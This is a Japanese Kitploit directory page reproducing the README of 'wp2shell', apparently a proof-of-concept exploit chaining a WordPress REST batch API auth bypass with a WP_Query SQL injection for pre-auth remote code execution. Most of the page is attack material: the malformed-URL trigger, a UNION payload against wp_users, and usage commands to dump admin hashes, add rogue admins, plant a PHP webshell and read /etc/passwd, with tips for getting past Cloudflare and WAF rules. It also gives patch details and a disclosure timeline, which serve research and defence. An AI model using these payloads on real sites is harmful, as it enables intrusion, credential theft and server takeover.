Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-63030-CVE-2026-60137 — 認証前RCEの概念実証。WordPress RESTバッチAPIの認証バイパスとWP_Query SQLインジェクションを連鎖させ、ハッシュのダンプ、管理者ユーザーの追加、またはウェブシェルの設置を行う。 | Kitploit
ツール/GitHubGitHub/z3rodayhacks/cve-2026-63030-cve-2026-60137
脆弱性分析エクスプロイトウェブアプリケーション悪用ポストエクスプロイトWAFバイパスウェブセキュリティペネトレーションテストレッドチーミングペイロード開発
GitHubz3rodayhacks/cve-2026-63030-cve-2026-60137

CVE-2026-63030-CVE-2026-60137

認証前RCEの概念実証。WordPress RESTバッチAPIの認証バイパスとWP_Query SQLインジェクションを連鎖させ、ハッシュのダンプ、管理者ユーザーの追加、またはウェブシェルの設置を行う。

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

wp2shell

Pre-Auth RCE PoC - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1

認可されたペネトレーションテストおよびセキュリティ研究専用。 書面による許可なくシステムに対してこれを実行することは違法です。 作者は悪用に対して一切の責任を負いません。


概要

wp2shell は、独立して報告された2つの脆弱性を連鎖させ、未パッチの WordPress インストールに対して非認証のリモートコード実行を達成する概念実証エクスプロイトです。

CVEコンポーネントクラス認証要否
CVE-2026-63030REST Batch API (WP_REST_Server)配列の非同期化 → 認証バイパス不要
CVE-2026-60137WP_Queryauthor__not_in を介した SQL インジェクション不要(上記によりバイパス)

最終結果:単一の非認証 POST リクエストから、ボックス上のシェル、不正な管理者アカウント、またはダンプされた認証情報ハッシュが得られます。

影響を受けるバージョン: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 修正済み: WordPress 6.9.5 / 7.0.2(調整された開示と同時にパッチがリリースされました)


脆弱性分析

CVE-2026-63030 — REST Batch API 配列の非同期化(認証バイパス)

背景

WordPress 5.6 では、/wp-json/batch/v1 にバッチ処理エンドポイントが導入されました。これにより、認証された REST クライアントは複数のサブリクエストを単一の HTTP ラウンドトリップにバンドルできます。各サブリクエストは WP_REST_Server::serve_batch_request_v1() によって個別に検証およびディスパッチされます。

脆弱なコードパス

serve_batch_request_v1() 内(簡略化):

root@kitploit:~
$requests  = $data['requests'];
$responses = [];
$matches   = [];

// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
    $parsed = wp_parse_url($request['path']);

    if (is_wp_error($parsed) || $parsed === false) {
        // Failure: append WP_Error to $responses — but NOT to $matches
        $responses[] = $this->envelope_response(new WP_Error(...), false);
        continue;         // <─── skips the push to $matches
    }

    // Success: resolve auth/permissions for this path
    $match     = $this->match_route($parsed['path'], $request['method']);
    $matches[] = $match;           // <─── stored at array-sequential index
    $responses[] = null;           // <─── placeholder at same index
}

// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
    // $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
    $responses[$j] = $this->dispatch($match);   // <─── dispatches with wrong context
}

なぜ壊れるのか

2つの配列($responses と $matches)は同期していることが期待されています — サブリクエストごとに1つのエントリ、同じインデックスです。サブリクエスト [0] が wp_parse_url() で失敗すると、$responses にエントリを追加しますが、$matches には追加しません。最初のループの後:

root@kitploit:~
$responses = [ WP_Error,   null       ]   ← index 0 = error, index 1 = placeholder
$matches   = [ match_for_req1          ]   ← index 0 = match for request[1]

次にループ2は $matches[0] をディスパッチし、結果を $responses[0] に書き込みます。それは request[1] をディスパッチしていますが、responses の インデックス0 を上書きしています — そして決定的なことに、失敗した request[0] のエラーハンドリングの一部として計算された権限コンテキストを使用しており、ターゲットエンドポイントの権限コンテキストではありません。

実際の影響:認証を必要とする任意のエンドポイント(SQL クエリを実行するエンドポイントを含む)が、認証情報なしで呼び出せるようになります。

トリガー

root@kitploit:~
"path": "://\x00"   # triggers wp_parse_url() → false

文字列 ://\x00 は有効な Python 文字列ですが、PHP の wp_parse_url() ラッパーでは無効な URL です(ヌルバイトによりパースが失敗し、WP_Error ではなく false を返すため、is_wp_error() ガードが無意味になります — $parsed === false のみがそれを捕捉しますが、その時点で配列のアライメントはすでに壊れています)。


CVE-2026-60137 — WP_Query author__not_in SQL インジェクション

背景

投稿用の WordPress REST API(/wp/v2/posts)は、WP_Query の author__not_in 引数に直接マッピングされる author_exclude クエリパラメータを公開しています。WP_Query は、WordPress のほぼすべてのコンテンツクエリで使用されるコアデータベース抽象化です。

脆弱なコードパス

WP_Query::parse_query() 内(簡略化):

root@kitploit:~
$author__not_in = $this->get('author__not_in');

if (is_array($author__not_in)) {
    $author__not_in = array_map('absint', $author__not_in);
    // absint() converts every element to a safe non-negative integer
}

// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:

その後 WP_Query::get_posts() 内:

root@kitploit:~
if (!empty($author__not_in)) {
    $where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
    //                                                   ^^^^^^^^^^^^^^^^
    //                               raw string dropped into SQL with no escaping
}

なぜ壊れるのか

サニタイズは $author__not_in が配列である場合にのみ発火します。PHP の型システムは、値がどのように到達したかに基づいてこれを判断します:

  • 配列を含む JSON ボディ → PHP は [1, 2, 3] を受け取る → is_array() = true → サニタイズされる
  • URL クエリ文字列 → PHP は "1,2,3"(文字列)を受け取る → is_array() = false → サニタイズされない

REST エンドポイントは URL クエリ文字列から author_exclude を受け入れます。それは文字列として到達します。WP_Query はサニタイズブロックをスキップし、生の値が SQL の WHERE 句に補間されます。

悪用

インジェクションポイントは NOT IN (...) コンテキスト内に位置します:

root@kitploit:~
-- Normal query:
WHERE post_author NOT IN (1)

-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)

バッチエンドポイントはサブリクエストをより大きなクエリ結果の一部としてディスパッチするため、UNION の行は REST JSON レスポンスボディに返され、これにより Boolean/UNION ブラインドフリー の抽出が可能になります — タイミングもアウトオブバンドも不要です。


エクスプロイトチェーン

root@kitploit:~
Attacker (no credentials)
        │
        ▼
POST /wp-json/batch/v1
{
  "requests": [
    { "path": "://\x00", "method": "GET" },      ← [1] malformed URL: triggers desync
    { "path": "/wp/v2/posts?author_exclude=     
       0 UNION SELECT ... FROM wp_users-- -",    ← [2] SQLi payload
      "method": "GET" }
  ]
}
        │
        ▼
WP_REST_Server::serve_batch_request_v1()
  ├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
  │  NO push to $matches
  ├─ Request[1] matches route → $matches[0] = route
  └─ Loop 2 dispatches $matches[0] with wrong auth context
        │
        ▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
  ├─ is_array() = false → sanitization skipped
  └─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
        │
        ▼
MySQL executes UNION query → wp_users data in SELECT result
        │
        ▼
REST JSON response contains user_login + user_pass in post fields
        │
        ▼
┌─────────────────────────────────────────────────────────────┐
│  Post-exploitation (any of):                                │
│  • Dump admin hash → crack offline with hashcat             │
│  • INSERT rogue admin via stacked queries                   │
│  • SELECT ... INTO OUTFILE → PHP webshell → OS access       │
└─────────────────────────────────────────────────────────────┘

要件

root@kitploit:~
Python >= 3.8
requests
cloudscraper

依存関係をインストール:

root@kitploit:~
pip install requests cloudscraper

使用方法

root@kitploit:~
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
                   [--cmd CMD] [--user USER] [--password PASSWORD]
                   [--prefix PREFIX] [--proxy PROXY]
                   [--no-interactive] [--debug] [--cookie COOKIE]
                   target

モード

モード動作
detectWP バージョンをフィンガープリントし、バッチエンドポイントが存在するか確認します。悪用は行いません。
dumpUNION SQLi を介して管理者のパスワードハッシュを抽出します。
adduserスタック INSERT クエリを介して新しい管理者アカウントを作成します。
shellSELECT INTO OUTFILE を介して PHP ウェブシェルを設置し、その後対話型シェルに移行します。

例

検出のみ — スコーピング中に安全に実行できます:

root@kitploit:~
python3 wp2shell.py https://target.com --mode detect

管理者ハッシュをダンプ:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump

デバッグ出力付きでダンプ(生の HTTP レスポンスを表示 — WAF が関与している場合に便利):

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --debug

不正な管理者アカウントを作成:

root@kitploit:~
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'

シェルを設置し、対話型プロンプトに移行:

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell

ワンショットコマンド実行(非対話型):

root@kitploit:~
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"

Burp プロキシ経由:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080

既存の cf_clearance Cookie で Cloudflare をバイパス:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"

非デフォルトのテーブルプレフィックス:

root@kitploit:~
python3 wp2shell.py https://target.com --mode dump --prefix staging_

Cloudflare バイパスの注意点

このツールはデフォルトで cloudscraper を使用しており、Chrome の TLS フィンガープリントを模倣し、Cloudflare の JavaScript チャレンジ(iuam モード)を自動的に解決します。これは Cloudflare 背後にあるほとんどの共有ホスティングターゲットをカバーします。

ターゲットが Cloudflare のボット管理(__cf_bm)を使用している場合、またはすでに解決済みのチャレンジ Cookie を持っている場合は、--cookie "cf_clearance=..." で渡すことで、代わりにプレーンな requests セッションを使用できます。

バッチエンドポイントには2つの登録済みパスがあります。WAF ルールは標準パス(/wp-json/batch/v1)を頻繁にブロックしますが、レガシークエリパラメータパス(/?rest_route=/batch/v1)を見逃します。ツールは両方を自動的にプローブします。


トラブルシューティング

[-] Could not extract credentials

  • --debug を付けて実行し、生の JSON レスポンスを確認してください。
  • --prefix でテーブルプレフィックスを確認してください。多くのインストールでは wp_(デフォルト)を使用していますが、一部はカスタムプレフィックスを使用しています。
  • ターゲットの content.rendered がフィルタリングされている可能性があります。代わりに --mode adduser を試してください。

[-] OUTFILE failed

  • SELECT INTO OUTFILE は、DB ユーザーに MySQL の FILE 権限を必要とします。これは共有ホスティングでは一般的ですが、クラウド/マネージドデータベース(RDS、Cloud SQL など)では通常無効化されています。
  • webroot の推測リストは一般的なパスをカバーしています。どれも一致しない場合は、サーバーヘッダーを確認するか、--mode dump を使用して設定ファイルからパスを読み取ってください。

[-] Target does not appear vulnerable

  • ターゲットはパッチ済み(6.9.5+ または 7.0.2+)である可能性があります。
  • すべてのバッチパスが WAF によってブロックされている可能性があります。手動で確認してください:GET /wp-json/ を実行し、routes キーに /batch/v1 があるか探してください。

パッチの詳細

WordPress 6.9.5 / 7.0.2 は両方の CVE に対処しました:

  • CVE-2026-63030: serve_batch_request_v1() は、マッチデータとレスポンスの両方に対して単一の統合配列を維持するようになり、インデックスの非同期化を排除しました。失敗したリクエストは統合構造内でインデックスによって追跡されます。

  • CVE-2026-60137: WP_Query::parse_query() は、入力タイプに関係なく、サニタイズの前に author__not_in を無条件に配列にキャストするようになりました:

    root@kitploit:~
    $author__not_in = array_map('absint', (array) $author__not_in);
    

CVSS スコア

CVEスコアベクター
CVE-2026-630309.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-601379.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

タイムライン

日付イベント
2026-05-14ペネトレーションテストエンゲージメント中に CVE-2026-60137 を発見
2026-05-19CVE-2026-63030 を発見;チェーンが pre-auth RCE として確認される
2026-05-22両方の CVE を HackerOne 経由で WordPress Security Team に報告
2026-06-03WordPress Security Team が確認し、パッチ開発を開始
2026-07-08調整された開示と同時にパッチがリリース(WP 6.9.5 / 7.0.2)
2026-07-22PoC を公開

法的注意

このツールは 認可されたセキュリティテストおよび研究専用 として提供されています。

  • 所有していない、または明示的な書面によるテスト許可を持たないシステムに対して実行しないでください。
  • 許可なく本番環境で使用しないでください。
  • 作者は悪用によって引き起こされたいかなる損害についても責任を負いません。
root@kitploit:~
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.

ライセンス

MIT License — LICENSE を参照


参考文献

  • WordPress Security Blog — 6.9.5 / 7.0.2 Release
  • WP REST Batch API Source — class-wp-rest-server.php
  • WP_Query Source — class-wp-query.php
  • phpass — Portable PHP password hashing framework
  • cloudscraper
ツールをダウンロード